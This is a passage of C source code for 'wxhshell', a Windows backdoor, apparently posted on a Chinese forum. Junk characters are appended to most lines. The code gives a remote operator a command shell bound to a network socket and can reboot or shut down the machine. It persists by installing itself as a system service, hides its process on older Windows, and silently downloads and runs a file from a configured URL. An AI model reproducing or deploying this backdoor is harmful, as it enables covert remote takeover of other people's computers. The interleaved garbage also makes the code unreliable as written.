  else { x;Qs_"t];3  
I},]Y~Y3  
    switch(cmd[0]) { R^v-%mG9  
  uu5AW=j  
  // 帮助 MR=dQc  
  case '?': { gLm ]*  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 9%{V?r]k  
    break; %y7&~me  
  } .A(QqL>  
  // 安装  Ptt  
  case 'i': { pr\wI?:k  
    if(Install()) $w,O[PIi  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); '?j[hhfB-  
    else ;k W+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F0 .Rv):  
    break; OTgctw1s  
    } UY(pKe>  
  // 卸载 8C,}nh  
  case 'r': { y7f,]<%e_  
    if(Uninstall()) tu4-##{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E#?Bn5-uBs  
    else 8iv0&91Z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &c?q#-^)\+  
    break; [-ONs  
    } 2p^Jqp`$  
  // 显示 wxhshell 所在路径 6]%SSq&  
  case 'p': { )Y@E5Tuk>  
    char svExeFile[MAX_PATH]; wwvS05=[T  
    strcpy(svExeFile,"\n\r"); ,@\$PyJ  
      strcat(svExeFile,ExeFile); bD2):U*Fzo  
        send(wsh,svExeFile,strlen(svExeFile),0); &ikPa,A  
    break; e8Ul^]  
    } B//2R)HS  
  // 重启 0|Rt[qwKb@  
  case 'b': { EgE% NY~  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); I{/}pr>  
    if(Boot(REBOOT)) 3np |\i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n]%T>\gw  
    else { )9pRT dT  
    closesocket(wsh); oouhP1py,  
    ExitThread(0); +69[06F  
    } pB;U*lt  
    break;  1{fu  
    } [Re.sX}$Y  
  // 关机 i% FpPni  
  case 'd': { =pT}]  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); `@_j Do  
    if(Boot(SHUTDOWN)) %qycxEVP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i?HN  
    else { {wp~  
    closesocket(wsh); z9}WP$W  
    ExitThread(0); %@,%A_So k  
    } U%:K11Kr  
    break; . r?URC  
    } {)CN.z:O  
  // 获取shell T{CCZ"Fv  
  case 's': { 9Sb[5_Q  
    CmdShell(wsh); e) \PW1b  
    closesocket(wsh); T^Lg+g+I  
    ExitThread(0); >~F_/Z'5  
    break; &.v|yG]&  
  } F `4a0~?  
  // 退出 GJr1[  
  case 'x': { ?hFG+`"W  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); B[$L)y'-;  
    CloseIt(wsh); y/.I<5+Bu  
    break; M#u~]?hS  
    } 0Tv0:c>8;(  
  // 离开 ZZ? KD\S5  
  case 'q': { (r9W[  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); "<N2TDF5  
    closesocket(wsh); LykB2]T  
    WSACleanup(); r\j*?m ]  
    exit(1); w/oXFs&FK  
    break; s7Z+--I)L  
        } _{C =d3  
  } n40&4n  
  } P\rA>ZY  
F97HFt6{  
  // 提示信息 )c<X.4  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3oQ?VP  
} v =]!Po&Q-  
  } /8O;Q~a  
UhX)?'J  
  return; Zk+c9,q  
} %wQE lkB  
qS!U1R?s  
// shell模块句柄 Ivx]DXR|  
int CmdShell(SOCKET sock) }2]m]D@%7  
{ ,]LsX"u  
STARTUPINFO si; ;CtTdr  
ZeroMemory(&si,sizeof(si)); KW@][*\uC  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; bSkr:|A7  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 7L4~yazmK  
PROCESS_INFORMATION ProcessInfo; Q/%]%d  
char cmdline[]="cmd"; 0s72BcP  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); WNK)IC~c  
  return 0; @c -| Sl  
} 0F-%C>&g  
EEp~\^ -  
// 自身启动模式 ra|Ku!  
int StartFromService(void) 3 +WmM4|  
{ W @]t  
typedef struct jr2wK?LbB  
{ Fzk%eHG=  
  DWORD ExitStatus; Koi-b  
  DWORD PebBaseAddress; 2{9%E6%#  
  DWORD AffinityMask; 2]V&]s8Wi=  
  DWORD BasePriority; DyCnL@  
  ULONG UniqueProcessId; ?3yrX _Qm{  
  ULONG InheritedFromUniqueProcessId; vo"?a~kY7  
}   PROCESS_BASIC_INFORMATION; )qeed-{  
WzqYB a  
PROCNTQSIP NtQueryInformationProcess; :soR7oHZ  
jmJeu@(  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; #/ HQ?3h]  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; w!rw%  
<3fY,qw  
  HANDLE             hProcess; 9#:B_?e=  
  PROCESS_BASIC_INFORMATION pbi; 5_+pgJL  
D16w!Mnz{K  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 2I>`{#fV  
  if(NULL == hInst ) return 0; r:U/a=V  
$)Ty@@7C  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); mO0}Go8  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); .YlhK=d4  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");  _W  
oqa8v6yG'  
  if (!NtQueryInformationProcess) return 0; 0]Qk*u<  
y7T<Auue`  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); V|vXxWm/  
  if(!hProcess) return 0; ]-{A"tJ  
m9mkZ:r(kV  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; sI5S)^'IQ  
0gsRBy  
  CloseHandle(hProcess); Nz%Yi?AF  
oR~s \Gt  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ld[BiP`B2V  
if(hProcess==NULL) return 0; 6){nu rDBG  
,FK.8c6g  
HMODULE hMod; <AN5>:k[pM  
char procName[255]; Sv\399(  
unsigned long cbNeeded; )ml#2XP!f  
T_ga?G<  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); >Q2kXwN  
34I;DUdcE  
  CloseHandle(hProcess); f/670Acv  
UgTgva>?  
if(strstr(procName,"services")) return 1; // 以服务启动 9dwLkr  
@;7Ht Z`  
  return 0; // 注册表启动 P*/ig0_fM  
} nP+jkNn3  
ke19(r Ch  
// 主模块 M~ g{}_ 0Z  
int StartWxhshell(LPSTR lpCmdLine) Xu7lV  
{ ]Q -.Y-J/O  
  SOCKET wsl; z,g\7F[  
BOOL val=TRUE; >9,LN;Ic  
  int port=0; ,0aRHy_^  
  struct sockaddr_in door; /pL'G`  
l}~9xa}:D|  
  if(wscfg.ws_autoins) Install(); "eIE5h  
TGZr [  
port=atoi(lpCmdLine); e3WEsD+  
w"q^8"j!  
if(port<=0) port=wscfg.ws_port; :_:o%  
" ""pe+Y  
  WSADATA data; KvumU>c#A  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; N=j$~,yG  
o('6,D  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   df{6!}/(  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ;v5Jps2^]  
  door.sin_family = AF_INET; vlo!D9zsV3  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); [sl"\3)  
  door.sin_port = htons(port); ^+}~"nvD  
6o]j@o8V  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Xb.# =R  
closesocket(wsl); (!%w  
return 1; 2Yg\<Ps N  
} NBD1k;  
p7Z/%~0v:  
  if(listen(wsl,2) == INVALID_SOCKET) { 5z Pn-1uW  
closesocket(wsl); Q6r7UM  
return 1; #:=*n(GT  
} /%AA\`: 6  
  Wxhshell(wsl); ,p V3O`z  
  WSACleanup(); GHFYIor  
z}-8pDD'  
return 0; y'_2|5!Qs  
0Vj!'=Ntv  
} p:xVi0  
r85j /YK  
// 以NT服务方式启动 .xe+cK  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) %UB+N8x`a  
{ +TN*6V{D  
DWORD   status = 0; Bp/25jy  
  DWORD   specificError = 0xfffffff; KMXd  
<tv"I-2  
  serviceStatus.dwServiceType     = SERVICE_WIN32; S"%W^)mZ  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 3-gy)5.x e  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; SHQgI<D7  
  serviceStatus.dwWin32ExitCode     = 0; z q@"qnr  
  serviceStatus.dwServiceSpecificExitCode = 0; 9`Xr7gmQf  
  serviceStatus.dwCheckPoint       = 0; GriFb]ml"  
  serviceStatus.dwWaitHint       = 0; %JuT'7VB  
W];l[D<S*  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); YXIAVSnr  
  if (hServiceStatusHandle==0) return; Wb;D9Z  
=QhK|C!$A  
status = GetLastError(); vAzSpiv-  
  if (status!=NO_ERROR) (/C 8\}Ox  
{ AQ)J|i  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; #0c;2}D  
    serviceStatus.dwCheckPoint       = 0; lI;ACF^  
    serviceStatus.dwWaitHint       = 0; zd3^k<  
    serviceStatus.dwWin32ExitCode     = status; }Io5&ww:U  
    serviceStatus.dwServiceSpecificExitCode = specificError; eV\VR !!i  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); mA4]c   
    return; *rmM2{6  
  } S'=}eeG  
7w.9PNhy  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; hlGrnL  
  serviceStatus.dwCheckPoint       = 0; R T/)<RT9  
  serviceStatus.dwWaitHint       = 0; ]%+T+ zg(Y  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); beFD}`  
} (f   
j`%a2  
// 处理NT服务事件,比如:启动、停止 |b+CXEzo  
VOID WINAPI NTServiceHandler(DWORD fdwControl) QW2SFpE  
{ %VS+?4ww  
switch(fdwControl) M9KoQS  
{ HJ;!'@  
case SERVICE_CONTROL_STOP: n4o}}tI  
  serviceStatus.dwWin32ExitCode = 0; 2I{kLN1TY  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; =gHUY&sPu8  
  serviceStatus.dwCheckPoint   = 0; SzyaVBD3  
  serviceStatus.dwWaitHint     = 0; WT:ZT$W  
  { :~'R|l  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ITfz/d8  
  } ?cB26Zrcb  
  return; {=9"WN    
case SERVICE_CONTROL_PAUSE: (1Klj+"p%  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; dg4q+  
  break; FBS]U$1  
case SERVICE_CONTROL_CONTINUE: uEr['>  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; [BFPIVD)h]  
  break; Uwg*kJ3H  
case SERVICE_CONTROL_INTERROGATE: &[kFl\  
  break; %wN*Hu~E  
}; 5-POY ug  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); C'a#.LM  
} lbMok/a2o  
cnj32H^+  
// 标准应用程序主函数 =21m|8c  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) K$5mDScoJ  
{ sv2XD}}  
Vj6 w7hz  
// 获取操作系统版本 l]S%k&  
OsIsNt=GetOsVer(); ?fQ8Ff  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ~r&+18Z;  
7-d.eNQl  
  // 从命令行安装 H.&"~eH  
  if(strpbrk(lpCmdLine,"iI")) Install(); jQ dIeQD+  
O#Ho08*Xn  
  // 下载执行文件 8B3C[?  
if(wscfg.ws_downexe) { O8/r-?4.  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) YA~`R~9d  
  WinExec(wscfg.ws_filenam,SW_HIDE); U;LX"'}  
} bd)Sb?  
kn}bb*eZ  
if(!OsIsNt) { f s2}a  
// 如果时win9x,隐藏进程并且设置为注册表启动 N V`=T?1[5  
HideProc(); r>J%Eu/O  
StartWxhshell(lpCmdLine); d?)Ic1][  
} ;!)gjiapw  
else ~xf uq{L;  
  if(StartFromService()) KU;J2Kt  
  // 以服务方式启动 [H {2<!  
  StartServiceCtrlDispatcher(DispatchTable); \Yr&vX/[p  
else _eUd RL>  
  // 普通方式启动 |J:m{  
  StartWxhshell(lpCmdLine); LKYcE;n  
L@`:mK+;  
return 0; eJE!\ucS2W  
}
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只看该作者 1 发表于: 2006-10-10
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